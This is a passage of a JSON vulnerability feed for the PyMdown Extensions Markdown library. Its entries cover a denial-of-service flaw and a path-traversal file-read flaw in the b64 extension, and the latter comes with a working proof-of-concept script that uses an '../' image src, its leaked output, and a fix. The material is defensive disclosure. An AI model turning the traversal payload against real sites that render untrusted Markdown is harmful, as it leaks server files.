extension\u0026apos;s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.(CVE-2026-67422)","status":"published","published":"2026-09-30T13:47:23Z","modified":"2026-10-01T02:00:06.782014487Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"PYSEC-2026-3609","title":"PyMdown Extensions: Path traversal in the b64 extension lets \u003cimg src\u003e read files outside base_path","description":"### Summary\n\nThe `b64` extension inlines images referenced by `\u003cimg src=\"...\"\u003e` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents.\n\nThis is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI.\n\n### Details\n\nIn `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`):\n\n```python\nif is_absolute:\n    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely\nelse:\n    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path\nif os.path.exists(file_name):\n    ext = os.path.splitext(file_name)[1].lower()\n    for b64_ext in file_types:\n        if ext in b64_ext:\n            with open(file_name, \"rb\") as f:                    # opened with no containment check\n                ...\n```\n\nThere is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`.\n\n### PoC\n\nReproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output.\n\n```python\nimport base64, os, shutil, tempfile, markdown\n\nroot = tempfile.mkdtemp()\nbase_path = os.path.join(root, \"docs\"); os.makedirs(base_path)\noutside = os.path.join(root, \"secret\"); os.makedirs(outside)\n\npng = base64.b64decode(\n    \"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk\"\n    \"+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\"\n)\nwith open(os.path.join(outside, \"secret.png\"), \"wb\") as f:\n    f.write(png)\n\nmd = markdown.Markdown(\n    extensions=[\"pymdownx.b64\"],\n    extension_configs={\"pymdownx.b64\": {\"base_path\": base_path}},\n)\nhtml = md.convert('\u003cimg src=\"../secret/secret.png\"\u003e')\n\nassert base64.b64encode(png).decode() in html, \"not leaked\"\nprint(\"LEAKED:\", html)\n```\n\nOutput:\n\n```\nLEAKED: \u003cp\u003e\u003cimg src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ...\"\u003e\u003c/p\u003e\n```\n\nThe base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking.\n\n### Impact\n\nAn application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.\n\n### Suggested fix\n\nResolve the real path and require it to stay within `base_path` before opening:\n\n```python\nfile_name = os.path.realpath(os.path.join(base_path, path))\nbase_real = os.path.realpath(base_path)\nif file_name != base_real and not file_name.startswith(base_real + os.sep):\n    return m.group(0)  # leave the tag untouched; do not read outside base_path\n```\n\nThe same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler.","status":"published","published":"2026-08-04T11:34:42.183332Z","modified":"2026-08-04T14:30:19.278240076Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"UBUNTU-CVE-2026-61632","description":"PyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u003cimg src=\"...\"\u003e by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file's contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.","status":"published","published":"2026-08-06T22:18:00Z","modified":"2026-10-17T12:57:17.015192391Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:43.630667Z"}]}}
